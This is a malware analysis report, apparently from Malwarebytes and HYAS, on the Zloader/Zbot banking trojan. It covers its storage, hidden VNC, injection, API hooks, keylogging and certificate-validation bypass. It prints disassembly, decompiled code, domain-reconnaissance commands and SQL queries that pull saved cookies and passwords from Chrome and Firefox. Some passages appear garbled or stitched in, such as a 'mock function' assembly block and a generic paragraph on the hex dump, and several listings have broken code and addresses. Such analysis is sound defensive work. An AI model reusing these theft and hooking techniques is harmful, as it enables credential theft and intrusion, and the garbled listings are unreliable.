```
1003183 E ; BOOL __stdcall start(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
1003183 E public start
1003183 E start proc near
1003183 E
1003183 E var_8D8= byte ptr -8D8h
1003183 E var_D2= byte ptr -0D2h
1003183 E hinstDLL= dword ptr 8
1003183 E fdwReason= dword ptr 0Ch
1003183 E lpReserved= dword ptr 10h
1003183 E
1003183 E push ebp
1003183 E mov ebp, esp
10031841 push edi
10031842 push esi
10031843 sub esp, 8D0h
10031849 mov eax, [ebp+hinstDLL]
1003184C mov g_myModuleBase, eax
10031851 call val_2
10031856 mov ecx, eax
10031858 call init internals
1003185D mov ecx, eax
1003185F xor eax, eax
10031861 test cl, cl
10031863 jz terminate ; initialization failed
```

The initialization function prepares various elements of the bot for the further functionality. First, the imports lookup is initialized:
Due to the fact that the loader component didn't fill the import table, the payload needs to do it on its own. It walks through the import table and fills the thunks.
Then we can see the initialization of the socket, and of the decryption of the stored configuration:

```
1003137E call get_process_heap
10031383 call decode_more
10031388 call nullsub_2
1003138D call nullsub_1
10031392 call wsa_startup
10031397 call reset_global_word
1003139C push offset aFgukdkakyldcg ; "fgukdkakyldcgqnlqeq"
100313A1 push offset encrypted_config
100313A6 call decrypt_config
100313A8 add esp, 8
100313AE call to_IntemetSetOptionA
100313B3 call init_critical_sec
100313B8 test bl, 1
100313B8 jz short loc_100313C2
```
The bot collects some data about the execution environment, and retrieves the previously saved information from the registry:

After the initialization succeeded, the bot continued the execution of the malicious operations, by deploying various threads.
In the newer versions, one more thread has been added for querying the information about the network settings.

```
1002C454 add esp, 4
1002C457 push esi
1002C458 call read_write_files_thread
1002C45D add esp, 4
1002C460 push esi
1002C461 call thread_start_vnc_server
1002C466 add esp, 4
1002C469 call thread_query_network_settings
1002C46E push 79EA4h
1002C473 push 0
1002C475 call load_func_by_checksum ; kernel32.WaitForSingleObject #1452
1002C47A add esp, 8
1002C47D push 0FFFFFFFFh
1002C47F push dword_1007013C
1002C485 call eax ; kernel32.WaitForSingleObject
```

The data is retrieved simply by querying commands such as:

```
ipconfig /all
net config workstation
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts
```

The output is reported to the C2.

**Storage**

The bot keeps its data in encrypted files, stored in %APPDATA%, in directories with pseudo-random names. In order to keep track of what files are in use, and what are their purposes, it uses a special structure. This structure is generated at the moment of bot's installation, and kept in the encrypted format in a dedicated registry key, which is also encrypted.

Let's take a look at the full logic of the malware's storage.
Both, the loader and the bot, comes with an internal configuration that resides in the .data section of the PE, and is encrypted with the hardcoded key (key#1).

After decrypting this configuration, we can see data such as the campaign ID, C2 URL, and also another RC4 key (key#2) - which will be used i.e. for communication with the C2.

This key (key#2) is also going to be used for encrypting/decrypting of the installation information block, stored in the registry, and shared between the loader and the bot.

At the moment of installation, the first malicious module (loader) creates the installation registry key, and fills it with the encrypted content of the installation information block.
The "Silent Night" Zloader/Zbot

The loader generates a 0x28 bytes long RC4 key (key#3), that will be further used for encrypting dropped files:

```
The RC4 context is initialized with the random 0x28 byte long key.
```

```
mov esi, dword ptr [ebp+8]
call f1.530FC0
lea edi, dword ptr [ebp-30]
push FF
push 0
push eax
push edi
push ecx
push ecx
push esp, 14
add esp, 14
push edi
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
add esp, 14
add esp, 14
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
pop edi
```
The buffer shown on the picture is the RC4 context data that was initialized with the given key.

Instead of storing this key (as it would be done in typical scenarios) the RC4 context data is stored inside of the installation data block.
## The "Silent Night" Zloader/Zbot

<table>
<thead>
<tr>
<th>Offset (h)</th>
<th>00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>00 17 02 01 C4 03 00 00 A4 13 51 7F C5 78 SE 80</td>
</tr>
<tr>
<td>00000010</td>
<td>00 FB 15 E5 11 05 B7 00 6E 6E 69 63 54 00 45 00</td>
</tr>
<tr>
<td>00000020</td>
<td>43 00 5F 00 32 00 95 00 42 00 48 00 49 00 4E 00</td>
</tr>
<tr>
<td>00000030</td>
<td>6E 00 45 00 30 00 38 00 44 00 30 00 46 00 55 00</td>
</tr>
<tr>
<td>00000040</td>
<td>41 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000050</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000060</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000070</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000080</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000090</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>000000A0</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>000000B0</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>000000C0</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>000000D0</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>000000E0</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>000000F0</td>
<td>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
</tbody>
</table>

---

**RC4 context generated by the loader**

The hexadecimal code above represents a portion of the Zloader/Zbot malware sample. This code is encrypted with RC4 and is decrypted by the loader to reveal the actual payload. The malware is designed to evade detection and distribute itself through various means, often targeting unsuspecting users to infect their systems. Understanding the structure and encryption techniques used by such malware is crucial for developing effective defense mechanisms.
The installation block contains the list of the files used by the malware, as well as other used registry keys. Overview:

header:
- malware version (DWORD)
- size of the data (after the header) (DWORD)

data:
<unknown> 15 bytes
<unknown> ID (ANSI string)
unique bot ID: <machine name>_generated_machine_id (Unicode string)
Name of the Autorun key (Unicode string)

RC4 context initialized with the key#3 (it that will be used for decryption of the files)

List of the files (relative to `%APPDATA%`)
Additional registry keys (relative to `HKCU/Software/Microsoft`)

padding: random bytes after the data

The referenced components (files and registry entries) are encrypted with the RC4 algorithm, using the stored RC4 context (initialized by the loader with RC4 the key#3). Additionally, some of them are encrypted with a custom, XOR-based algorithm called Visual Encrypt (described in details in a section C2 Communication).

**Bot ID**

The bot ID consists of two components. First is the string, which is simply a machine name, retrieved by GetComputerNameW. If the name could not be retrieved, a string UNKNOWN will be used instead.
After that, the numerical identifier is generated. First the OS version is retrieved by `GetVersionExW`. Then two keys under Software\Microsoft\Windows\NT\CurrentVersion are read: InstallDate and DigitalProductId.
The malware calculates CRC32 checksums from those elements and combines them together by formatted print.
Retrieving installed modules

As mentioned before, the files used by the malware are stored in dedicated directories in %APPDATA%. The names of the files, as well as names of the directories are randomly generated at the installation phase. In order to keep track of them, and load them on demand, the malware keeps a dedicated structure (installation data block). It is stored in the registry, and decrypted on demand each time it is used, with the help of the RC4 algorithm and the key from the configuration (RC4 key#2).
Example of the files list fetched from the installation data block:

```
<table>
<thead>
<tr>
<th>Address</th>
<th>HEX</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>00010000</td>
<td>00100000</td>
<td>Gefyf\yddieb.exe</td>
</tr>
<tr>
<td>00010008</td>
<td>00100000</td>
<td>Gefyf\yddieb.exe</td>
</tr>
<tr>
<td>0001000C</td>
<td>00100000</td>
<td>Gefyf\yddieb.exe</td>
</tr>
<tr>
<td>00010010</td>
<td>00100000</td>
<td>Gefyf\yddieb.exe</td>
</tr>
<tr>
<td>00010014</td>
<td>00100000</td>
<td>Gefyf\yddieb.exe</td>
</tr>
</tbody>
</table>
```

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
The "Silent Night" Zloader/Zbot

The module is retrieved from the structure by its ID. The following function is responsible:

```
10031174 to_load_dropped proc near
10031174  
10031174 var_124= byte ptr -124h
10031174 module_id= dword ptr 8
10031174 arg_4= dword ptr 0Ch
10031174
10031174 push ebp
10031175 mov ebp, esp
10031177 push ebx
10031178 push edi
10031179 push esi
1003117A sub esp, 118h
10031180 mov edi, [ebp+arg_4]
10031183 lea esi, [ebp+var_124]
10031189 mov ecx, esi
1003118B push [ebp+module_id]
1003118E call fetch_module_from_list
10031193 mov ecx, esi
10031195 push edi
10031196 call load_and_decrypt_file
1003119B mov ecx, esi
1003119D mov ebx, eax
1003119F call sub_1002306A
100311A4 mov eax, ebx
100311A6 add esp, 118h
100311A9 pop esi
100311AD pop edi
100311AE pop ebx
100311AF pop ebp
100311B0 ret
100311B0 to_load_dropped endp
```

Each IDs denotes a specific file. The PE modules are denoted by the following IDs:

- **0**: The core bot
- **1**: 64-bit memory reader (only for 64-bit installations)
- **3**: VNC component
- **7**: libSSL
- **8**: Zlib1
- **9**: Sqlite
- **10**: Certutil package (certutil.exe + dependencies)

Elements stored in the installation data structure of the analyzed case:

<table>
<thead>
<tr>
<th>ID</th>
<th>Path</th>
<th>Encryption</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Guuga\ugef.hi</td>
<td>RC4</td>
<td>PE module: zbot.dll</td>
</tr>
<tr>
<td>1</td>
<td>Gefu\bihad.by</td>
<td>RC4</td>
<td>64-bit memory reader (empty on 32 bit system)</td>
</tr>
<tr>
<td>2</td>
<td>Gefyf\yddieb.exe</td>
<td>not encrypted</td>
<td>Zloader PE</td>
</tr>
<tr>
<td>3</td>
<td>Yceho\ugcud.daig</td>
<td>RC4</td>
<td>hvnc.dll</td>
</tr>
</tbody>
</table>
## Uploading of the reports

The data stolen from the victim is aggregated in encrypted files, at the specific paths. One of the threads deployed by the malware is dedicated to regular uploading of those files to the C2.

Before the upload, the data is decrypted, and encrypted by a different RC4 key: the key from the config (key #2), along with Visual Encrypt.
In the early versions of the malware, some related debug strings were left, and even a popup on the upload failure:

```assembly
PUBLIC _load_func_by_checksum
PUBLIC _kernel32.GetLastError
PUBLIC _user32.MessageBox
PUBLIC _user32.GetForegroundWindow
PUBLIC _decode_cstring
PUBLIC _cant_upload_str

; load_func_by_checksum
load_func_by_checksum proc
  ; Code generated by IDA
  ; This is a mock function for demonstration purposes.
  ; In actual malware, this function would perform network
  ; operations and interact with the client.
  mov     [esi], 0
  ret     

; kernel32.GetLastError
kernel32.GetLastError proc
  ; Code generated by IDA
  ; This is a mock function for demonstration purposes.
  ; In actual malware, this function would perform error
  ; handling and return error codes.
  mov     eax, 0
  ret     

; user32.MessageBox
user32.MessageBox proc
  ; Code generated by IDA
  ; This is a mock function for demonstration purposes.
  ; In actual malware, this function would perform user
  ; interface operations and display messages.
  mov     eax, 0
  ret     

; user32.GetForegroundWindow
user32.GetForegroundWindow proc
  ; Code generated by IDA
  ; This is a mock function for demonstration purposes.
  ; In actual malware, this function would perform window
  ; management and return window handles.
  mov     eax, 0
  ret     

; decode_cstring
decode_cstring proc
  ; Code generated by IDA
  ; This is a mock function for demonstration purposes.
  ; In actual malware, this function would perform string
  ; decoding and convert strings from one encoding to another.
  push    ebx
  mov     ebx, 0
  ret     

; cant_upload_str
cant_upload_str proc
  ; Code generated by IDA
  ; This is a mock function for demonstration purposes.
  ; In actual malware, this function would perform string
  ; manipulation and handle upload failures.
  mov     eax, 0
  ret     

load_func_by_checksum endp
kernel32.GetLastError endp
user32.MessageBox endp
user32.GetForegroundWindow endp
decode_cstring endp
cant_upload_str endp
```
Manually loading PEs

Many of the additional PE modules (including the aforementioned legitimate DLLs: zlib1, libssl, sqlite3) are loaded manually. The following function is responsible:

```assembly
1000DFDE load_manually_mapped_dll proc near
1000DFDE
1000DFDE arg_0= dword ptr 8
1000DFDE arg_4= dword ptr 0Ch
1000DFDE
1000DFDE push ebp
1000DFDE mov ebp, esp
1000FE01 push edi
1000FE02 push esi
1000FE03 push [ebp+arg_0]
1000FE06 call alloc_rwx_mem
1000FE0B add esp, 4
1000FE0E mov esi, eax
1000FE10 xor edi, edi
1000FE12 test esi, esi
1000FE14 jz short loc_1000FE40

1000FE16 push esi ; module_base
1000FE17 call pe_relocate_to_base
1000FE1C add esp, 4
1000FE1F push esi
1000FE20 call pe_loadimports
1000FE25 add esp, 4
1000FE28 test al, al
1000FE2A jz short loc_1000FE40

1000FE2C mov edi, [ebp+arg_4]
1000FE2F push esi
1000FE30 call pe_get_entry_point
1000FE35 add esp, 4
1000FE38 push edi
1000FE39 push 1
1000FE3B push esi
1000FE3C call eax ; call DllMain
1000FE3E mov edi, esi
```

After the DLLs are being manually loaded, the pointer to their bases is added into the internal list, referenced by the function that retrieves the functions by hashes. Then, the functions from them are retrieved analogically to the functions from the DLLs loaded in the standard way.

The same PE loading function is also used to load further modules belonging to the malware, such as VNC Server.
VNC Server

The VNC server is an additional module of the malware. As mentioned before, its role is to open a hidden VNC on the attacked machine, giving the attacker remote access. The module is implemented as a DLL, exporting two functions:

```c
int __stdcall VncStartServer(DWORD *a1, QWORD *a2);
BOOL __stdcall VncStopServer(LPVOID vnc_struct);
```

It is stored in one of the encrypted files (as explained in "Execution flow" paragraph). It is first read from the file, then decrypted and manually loaded.

Let's first take a quick look at how the VNC server is run by the main bot.
The function `VncStartServer` is fetched from the loaded module, and called with the address of the local host and port.
The VNC server operates in the background when the malware is running. When it is stopped, the termination function is called.
Inside the VNC component

In contrast to the core component, the VNC DLL does not use obfuscation of API calls. Yet, it uses obfuscation of some arithmetic operations. We can see inside multiple functions related to managing a virtual desktop that will be used by the attacker to access the victim's machine via graphical user interface.
The "Silent Night" Zloader/Zbot

```c
v1 = lpThreadParameter;
SetThreadDesktop(*((HDESK *)lpThreadParameter + 19));
LODWORD(v2) = sub_10005A00();
v25 = v2;
LODWORD(v2) = *((DWORD *)lpThreadParameter + 4);
v3 = 0;
v4 = 33;
v27 = 0;
v26 = (__int64 *)(char *)lpThreadParameter + 56);
Handles = (HANDLE)v2;
v23 = *((DWORD *)lpThreadParameter + 388);
while (1)
{
  v5 = is_equal_6(v3, 0) == 0;
  v6 = v4;
  if ( !v5 )
    v6 = -1;
  v7 = WaitForMultipleObjects(2u, &Handles, 0, v6);
}
do
{
  v3 = v0(byte_1003500F[v1]);
  if ( !(sub_10029F30(v3, 0xFFFF) & 1) )
  {
    LOBYTE(v11) = ((unsigned int)v3 >> 1) & ((unsigned int)v3 >> 1) ^ 0x7F);
    BYTE1(v11) = ((unsigned int)v3 >> 2) & 0x80;
    BYTE2(v11) = ((unsigned int)v3 >> 3) & 0x80;
    uvirtKey[BYTE] = __int64(v3 & (v3 ^ 0xFF00));
    v4 = ToAscii(uvirtKey, 0, (PBYTE)uScanCode, (LPWORD)&KeyState, 0);
    if ( sub_10029B80(v4, 0) & 1 )
    {
      v5 = v8;
      byte_10041904[v8] = byte_1003E00F[v1];
      v8 = v5 + 1;
      ToAscii(uvirtKey, 0, (PBYTE)uScanCode, (LPWORD)&KeyState, 0);
    }
    v0 = VkKeyScanA;
  }
  v2 = is_equal(v1++, 7);
}
while ( !v2 );
result = GetKeyboardLayoutList(40, &dwhkl);
dword_10041B28 = result;
return result;
}```

It also gives access to the keyboard and clipboard of the victim.

Malwarebytes, HYAS - @hasherezade & @prsecurity_ - May 2020 - Version 1.0
The "Silent Night" Zloader/Zbot

```c
if ( GetClipboardOwner() != hWnd ) {
    v7 = OpenClipboard(hWnd);
    if ( !is_equal_7(v7, 0) ) {
        v8 = GetClipboardData(1u);
        if ( v8 ) {
            v9 = v8;
            v13 = (const CHAR *)Globallock(v8);
            if ( is_equal_5((int)v13, 0) ) {
                sub_1000E630(*_DWORD *)(v5 + 4), 0, 0);
            } else {
                v14 = (CHAR *)sub_100145A0(v13);
                if ( !(sub_1002A3C0(v14, 0) & 1) ) {
                    sub_10014640(v14);
                    v16 = lstrlenA(v14);
                    sub_1000E630(*_DWORD *)(v5 + 4), v14, v16 + 1);
                    HeapFree(hHeap, 0, v14);
                }
            }
        }
    }
    GlobalUnlock(v9);
}
CloseClipboard();
```

Commands: implementation

One of the threads runs a continuous parsing and executing of the commands received from the C2 server.

The received command is compared with the hardcoded one, and when the match is found, a particular function is executed.
The complete list embedded in the module is given below:

- `user_execute`
- `bot_uninstall`
- `user_cookies_get`
- `user_cookies_remove`
- `user_passwords_get`
- `user_files_get`
- `user_url_block`
- `user_url_unblock`

The supported list covers the commands described in the User manual, yet, it contains some additional ones, such as fetching files, and passwords. It suggests that the authors keep extending the functionality of the bot.

Detailed explanation of the stealing implementation is described in the further paragraph stealer functionality.
user_cookies_get

This command is responsible for searching databases where cookies of particular browsers are stored, opening them, and extracting content by SQLite queries. The following queries are used:

```sql
select `host`, `name`, `value`, `path`, `expiry`, `isSecure`, `isHttpOnly`,
`sameSite` from `moz_cookies`

select `host_key`, `name`, `encrypted_value`, `samesite`, `path`, `expires_utc`,
`is_secure`, `is_httponly` from `cookies`
```

The analyzed version of the bot searches for cookies from two browsers: Chrome and Firefox.

user_passwords_get

Execution of this command triggers stealing passwords saved in the attacked browsers. Currently only Chrome is supported. The following query are executed:

```sql
select `origin_url`, `username_value`, `password_value` FROM logins
```

user_files_get

Execution of this command triggers the operation of searching and uploading documents of the victim (.txt, .docx, .xls, wallet.dat).

Hooks - code analysis

The overview of the installed hooks was presented in the behavioral analysis, section Implants.

As it was mentioned, almost every process in the system was hooked: ntdll.NtCreateUserProcess and user32.TranslateMessage were affected.


In firefox.exe only the additional hook in ntdll was applied (ntdll.NtDeviceIoControlFile).

Let's connect those observables with the code within the bot that was responsible for installing them. First, the function (RVA 0x2D81B in the analyzed bot32) is responsible for collecting the APIs to be hooked. We can find out how different processes are affected.
In all the processes:

- ntdll.dll
  - NtCreateUserProcess -> bot32.write_payl_into_process
- user32.dll
  - TranslateMessage -> bot32.grab_forms_and_screenshot

Depending on Windows version, it may also install:

- ntdll.dll
  - NtCreateThread -> bot32.write_payl_into_process_v2

In firefox.exe, chrome.exe, iexplore.exe

- ntdll.dll
  - Nt/ZwDeviceIoControlFile -> bot32.pass_trafic_through_local_proxy

In chrome.exe, iexplore.exe

- crypt32.dll
  - CertGetCertificateChain -> accept_cert_unconditionally1
  - CertVerifyCertificateChainPolicy -> accept_cert_unconditionally2

The details on the hooks functionality will be explained in the further paragraph.

The injector and the hooking engine

Initialization

One of the threads run in the main function of the bot is responsible for continuous monitoring of the processes.

```
100318F0 add    esp, 4
100318F3 push    esi
100318F4 call    thread_make_injections
100318F9 add    esp, 4
```

If the current module is 32 bit, and runs on a 64 bit system as Wow64, in order to make injections into 64 bit processes one more module is used: 64_gate32.dll. This DLL was presented briefly in section “modules for 64 bit system”. It is an additional DLL of the malware, manually loaded into the current process.
Just as the name suggests, this 32-bit DLL enables an access to 64-bit environment, using the Heaven's Gate technique. Below - fragment of the DLL's code calling the “Heaven's Gate” in order to switch to 64-bit mode:

This DLL exports a simple API, with self-explanatory names:

- CmpMem64 - compare 64-bit memory
- GetMem64 - get 64-bit memory
- GetTEB64 - get 64-bit TEB (Thread Environment Block)
- X64Call - perform a 64-bit call

Those functions are being called whenever any access to a 64-bit environment is required.
The example shows the function `GetTEB64` being fetched from the manually loaded DLL, and then called.

If preparation of the injection engine was successful, the malware enters into a function that enumerates running processes and performs the injection.
The injecting loop

The injecting function starts by taking a snapshot of all running processes, using CreateToolhelp32Snapshot, and then walks through it.

It injects the current module (main bot) into all accessible processes, except for Microsoft Edge. When the injection into explorer.exe has failed, information about it will be appended to the report that is later sent to the C2.

Although the injected payload is the same PE as the current module, yet it’s execution flow will be different. It is because its execution will start from a different Entry Point.
Fetching the new Entry Point for the implant

The function at the new Entry Point is the one responsible for installing hooks inside the process where the implant was injected.

The implant’s main function

As mentioned in the previous paragraph, the installation of the API hooks is performed by the implanted copy of the bot, with an alternative Entry Point.

```
1003180D implant_main_func_v1 proc near
1003180D    push ebp
1003180E    mov ebp, esp
10031810    push esi
10031811    mov ecx, 4
10031816    call init_internals
1003181B    test al, al
1003181D    jz short loc_10031824

1003181F    call implant_actions

10031824
10031824    loc_10031824:
10031824    xor    esi, esi
10031826    push  08A94474h
10031828    push    esi
1003182C    call    load_func_by_checksum ; kernel32.ExitThread #340
10031831    add    esp,  8
10031834    push    esi
10031835    call    eax
10031837    xor    eax, eax
10031839    pop    esi
1003183A    pop    ebp
1003183B    retn    4
1003183B    implant_main_func_v1 endp
```

The function at the Entry Point for the implant has three blocks representing the three phases: initialization, main actions, and the exit.

As before, the execution starts with the initialization function. Then there is a call into a single function responsible for deploying the main actions. Among few other actions, it is responsible for hooking the API of the DLLs loaded in the current process.

The API hooking function is run as first.
Then, the bot deploys a thread responsible for communicating with the local server, run in
the main component implanted in msiexec.

The implant checks if it has been installed in the explorer.exe - and if so, it reports about
it ("Inject to explorer success.").
The "Silent Night" Zloader/Zbot

This report is then being sent to the C2. Although all the accessible processes (except Edge) are being injected, only the injection into explorer is being reported.

Another condition that is checked inside the same function, is, if the implant runs inside iexplore.exe - if so, it may deploy an additional thread for deleting URL cache.

Yet, the most important and interesting function that is being deployed, is the hooking ability.

The hooking process

Depending on which process the implant is running, the different hooks will be selected to apply.
The addresses of the functions to be hooked are retrieved in a typical way - by calling `GetModuleHandleW + GetProcAddress`. Thanks to this, we can easily follow what functions are being hooked in particular cases.

```assembly
1002D8A2 .call    load_func_by_checksum ; kernel32.GetProcAddress #671
1002D8A7 add     esp, 8
1002D8AA mov     edi, eax
1002D8AC sub     esp, 14h
1002D8AF mov     esi, esp
1002D8B1 call    sub_1003E7E0
1002D8B6 push    eax
1002D8B7 push    esi
1002D8B8 push    offset unk_1009C420 ; "NtCreateUserProcess"
1002D8BD call    decode_cstring
1002D8C2 add     esp, 0Ch
1002D8C5 push    esi
1002D8C6 mov     [ebp+var_10], ebx
1002D8C9 push    ebx
1002D8CA call    edi ; call kernel32.GetProcAddress
1002D8CC mov     edi, eax
1002D8CE xor     eax, eax
1002D8D0 mov     _NtCreateUserProcess, edi
1002D8D6 push    eax
1002D8D7 push    edi
1002D8D8 call    is_equal_28
1002D8D9 add     esp, 8
1002D8DA test    al, 1
1002D8E2 jnz     short loc_1002D8F7

1002D8E4 push     offset NtCreateUserProcess_trampoline_ptr
1002D8E9 push     offset write_pai1_into_process
1002D8EE push     edi ; NtCreateUserProcess
1002D8EF call    MH_CreateHook
1002D8F4 add     esp, 0Ch
```

The function writing hooks takes 3 arguments: the original function (target to be hooked), the intercepting function, and the trampoline function (which redirects back to the original function that is being intercepted) - just like the function `MH_CreateHook` from MiniHooks library which artifacts we noticed in the former part of this analysis:

```c
// Creates a Hook for the specified target function, in disabled state.
// Parameters:
// pTarget   [in]  A pointer to the target function, which will be
//                 overridden by the detour function.
// pDetour   [in]  A pointer to the detour function, which will
//                 override the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
//                  used to call the original target function.
//                  This parameter can be NULL.
```
The hooking is not done by an atomic write. Instead, in order to avoid concurrency issues, the hooking function first suspends all the other threads of the current process. After the hook is set, the threads are resumed.

```
1002BA2  loc_1002BA2:
1002BA2  lea  ebx, [ebp+var_18]
1002B5  mov  edx, edi
1002BA7  mov  ecx, ebx
1002B9  push  1
1002BBA  call  Freeze            ; suspend all other threads
1002BB0  add  esp, 4
1002BB3  mov  ecx, edi
1002BB5  mov  edx, esi
1002BB7  call  EnableHookLL     ; write hook and flush
1002BBB  mov  ecx, ebx
1002BBE  mov  edi, eax
1002BCC  call  Unfreeze         ; resume all other threads
```

This model: suspending -> hooking -> resuming is also typical for the MinHook library (example: functions Freeze and Unfreeze from MinHook are responsible for suspending and resuming threads.

**Reporting to the main component**

After the hooking is done, the malware establishes the connection to the local server, that is run by the main instance of the malware (implanted in msiexec). The connection is made to send the information recorded via hooks to the central component.
Example: a captured screenshot (JPG) being sent via local socket:

It also ensures that the main instance is alive. In case if it has terminated, all the hooks are being removed.
Hook implementation - example:

Step 1. The hook installed at the beginning of the function redirects the execution to the function inside the bot32.dll:
Step 2. Each time the hooked function (i.e. CertGetCertificateChain) is called, the execution is redirected to the function inside the bot. The original function CertGetCertificateChain will be called from inside, via additional shellcode containing a small wrapper/trampoline function.
The content of the “trampoline” in the additionally allocated memory is presented below. It is a small wrapper containing the function’s prolog “stolen” from the original version, before it has been overwritten by the jump instruction:

That’s how the intercepting function still uses the original function CertGetCertificateChain, and just adds a filter on the top of it.

**Functionality of the hooks**

*user32.TranslateMessage*

- The hook of the function user32.TranslateMessage:

```
00500FA0
mov edx, edi
push ebp
mov ebp, esp
jmp crypt32.76036CD4
```

Redirects into a function responsible for keylogging and making screenshots.

*TranslateMessage* is used by the GUI elements to process the events triggered by some actions, such as refreshing of the component, moving a mouse etc. The malware has filters set on two messages: *WM_KEYDOWN* and *WM_LBUTTONDOWN* - to monitor user typing or clicking in the windows. Any other events - and also a *WM_KEYDOWN* event, if the pressed key was *ESCAPE* - are being skipped, and the navigation goes back to the original *TranslateMessage* function via trampoline.
Otherwise the malware proceeds to record what is happening on the screen: by capturing the title of the active window, recording the keyboard state, and, eventually making a screenshot showing the performed activity.
The “Silent Night” Zloader/Zbot

Capturing the window title:

```
1002E737 push 1
1002E739 call load_func_by_checksum ; user32.GetForegroundWindow #1831
1002E73E add esp, 8
1002E741 call eax
1002E743 mov esi, eax
1002E745 test esi, esi
1002E747 jz short failed_to_get_window_name
```

```
1002E749 push 0A54CD37h
1002E74E push 1
1002E750 call load_func_by_checksum ; user32.GetWindowTextW #1974
1002E755 add esp, 8
1002E758 mov edi, eax
1002E75A call sub_10043FD0
1002E75F lea ecx, [ebp+var_338]
1002E765 push eax
1002E766 push ecx
1002E767 push esi
1002E768 call edi
1002E76A lea eax, [ebp+var_338]
1002E770 movzx eax, word ptr [eax]
1002E773 push 0
1002E775 push eax
1002E776 call sub_10091B40
1002E778 add esp, 8
1002E77E test al, 1
1002E780 jz short loc_1002E7A9
```

```
1002E782 failed_to_get_window_name:
1002E782 sub esp, 1Ch
1002E785 mov esi, esp
1002E787 push 0Eh
1002E789 push esi
1002E78A push offset a3MAmiu ; Unknown-Title
1002E78F call decode_wstring
```
Proceeding to make a screenshot:

```
.proceeding_make_screenshot
    cmp    edi, eax
    jnb    loc_1002E9DA
    xor    eax, eax
    lea    ecx, [ebp+var_130]
    lea    edx, [ebp+var_30]
    mov    [ecx], eax
    mov    [edx], eax
    push   500        ; resolution
    push   edx
    push   ecx
    call   to_make_screenshot
    add    esp, 0Ch
    test   al, al
    jz     loc_1002E9DA
    lea    edx, [ebp+var_330]
    mov    ecx, 2
    push   [ebp+var_30]
    push   [ebp+var_130]
    call   fill_to_globalBuf
    add    esp, 8
    inc    dword ptr [esi]
    push   [ebp+var_130]
    call   heap_free
    add    esp, 4
```

The collected information is filled into an internal buffer. The content of this buffer is later being then sent to the main component via the previously opened connection.

After recording of the action finished, the execution goes back to the original TranslateMessage function via trampoline.

The hook in ntdll.NtCreateUserProcess:

- Redirects into a function that writes the payload into the process. First the redirection function executes the trampoline, and allows the new process to be created. Then, it eventually implants the bot inside and executes it. Again, the Microsoft Edge is being skipped from this injection by the check on the created process’ name.

As before, the bot injects the copy of itself, yet its execution starts from another variant of Entry Point.
The redirection is done via changing the context (SetThreadContext) of the main thread of the newly created process.

The modified EAX -> 0x00061277

The new context

SetThreadContext
The values highlighted red on the above image are the modifications of the original context that was retrieved before. We can see the VA of the implant’s Entry Point being written. VA: 0x61277 -> 0x31277 (Entry Point RVA) + 0x30000 (the implant Base Address).

This redirection model uses the fact that in case if the process didn’t start yet, its original Entry Point is filled in a register (in case of a 32 bit process it is the register EAX). If we overwrite the EAX in the frozen thread’s context by the value of the implant’s Entry Point, this will be the first address executed when the thread resumes.

This variant of the implant’s Entry Point is almost identical to the one described in the section about the hooking implant. It also sets API hooks, communicates with the main module, etc. The only difference is that this function calls the Entry Point of the original application afterwards. It happens because the injection model was a bit different than the former case: now the process was just created, and it’s fresh context was changed, so its original Entry Point yet has to run.

As we can see, this hook allows the implant to propagate to newly created processes. Not only the main module is responsible for injections - but each instance of the injected payload has the ability to inject itself further.

ntdll.NtCreateThread

This hook is used to propagate the payload - analogically to hook at NtCreateUserProcess.

crypt32.CertVerifyCertificateChainPolicy

For policies other than SSL (CERT_CHAIN_POLICY_SSL) uses the original version of the function. For SSL, it cleans the error flag unconditionally, approving any certificate as valid.

```c
int __stdcall fake_verify_cert_chain(int pszPolicyOID, int pChainContext, int pPolicyPara, int pPolicyStatus) {
    if (!is_equal_2(pszPolicyOID, 4)) // CERT_CHAIN_POLICY_SSL
        return trampuling_CertVerifyCertificateChainPolicy(pszPolicyOID, pChainContext, pPolicyPara, pPolicyStatus);
    if (!pPolicyPara) // CERT_CHAIN_POLICY_SSL
        *(pPolicyPara) = 0; // dwError = 0
    return 1;
}
```

crypt32.CertGetCertificateChain

Accept the certificate unconditionally.
First the original function CertGetCertificateChain is called via trampoline. The retrieved CERT_CHAIN_CONTEXT is modified in such a way that its status is always set as valid:

```
TrustStatus.dwErrorStatus -> CERT_TRUST_NO_ERROR
TrustStatus.dwInfoStatus -> CERT_TRUST_IS_PEER_TRUSTED
```

```
int __stdcall fake_get_cert_chain(int hChainEngine, int pCertContext, int pTime, int hAdditionalStore, int hCertStore, int b1, CERT_CHAIN_CONTEXT *pChainContext)
{
    printf("fake_get_cert_chain\n");

    int res; // res
    unsigned __int8 _res; // bl
    int chain_context; // esi

    res = trampoline_CertGetCertificateChain(
        hChainEngine,
        pCertContext,
        pTime,
